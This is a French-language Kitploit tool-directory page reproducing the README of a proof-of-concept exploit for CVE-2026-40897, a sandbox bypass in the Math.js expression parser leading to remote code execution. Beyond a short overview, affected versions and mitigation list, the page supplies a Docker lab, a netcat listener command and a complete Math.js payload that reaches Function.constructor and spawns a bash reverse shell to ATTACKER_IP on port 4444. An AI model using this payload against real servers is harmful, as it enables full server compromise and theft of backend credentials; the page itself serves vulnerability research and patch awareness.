Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-40897 — Proof-of-concept d'exploit pour CVE-2026-40897, un contournement du bac à sable de l'analyseur d'expressions Math.js permettant l'exécution de code à distance via des charges utiles conçues et un laboratoire Docker. | Kitploit
Outils/GitHubGitHub/yym8538/cve-2026-40897
Analyse des VulnérabilitésExploitationExploitation d'Applications WebVirtualisation de SécuritéOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubyym8538/cve-2026-40897

CVE-2026-40897

Proof-of-concept d'exploit pour CVE-2026-40897, un contournement du bac à sable de l'analyseur d'expressions Math.js permettant l'exécution de code à distance via des charges utiles conçues et un laboratoire Docker.

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-40897 Exécution de code à distance dans le parseur d'expressions de Math.js

★ CVE-2026-40897 Exécution de code à distance dans Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Aperçu

CVE-2026-40897 est une vulnérabilité de contournement de sandbox menant à l'exécution de code à distance dans le parseur d'expressions de Math.js. Le filtre isSafeProperty ne vérifie l'accès aux propriétés que depuis les expressions utilisateur, et non depuis les chemins de code internes. En divulguant le tableau interne d'ArrayNode via toJSON() et en écrasant son .map, un attaquant peut forcer le code interne à accéder à Function.constructor et exécuter du JavaScript arbitraire.


Versions affectées

CatégorieVersion
VulnérableMath.js 13.1.1 ≤ version ≤ 15.1.1
Corrigée15.2.0

Impact

  • Exécution de code JavaScript arbitraire (RCE)
  • Accès au système de fichiers de l'hôte
  • Connexion par reverse shell menant à la compromission totale du serveur
  • Exfiltration des identifiants backend et des données sensibles

Environnement

docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'attaque.

Étape 1. Démarrer un listener de reverse shell

nc -lvnp 4444

Étape 2. Soumettre la charge utile malveillante

Envoyez l'expression suivante à math.evaluate (par exemple, via le champ de calcul de l'application).

array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Étape 3. Confirmer l'accès au shell côté attaquant

Le serveur cible se connecte au listener de l'attaquant, octroyant un shell bash interactif.


Atténuation

  • Mettre à jour Math.js vers une version corrigée
  • Éviter de transmettre directement des entrées utilisateur non fiables à math.evaluate()
  • Restreindre l'exposition des fonctions/classes internes (reviver, FunctionAssignmentNode, ArrayNode) via le parseur d'expressions

Analyse

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst
Télécharger l’outil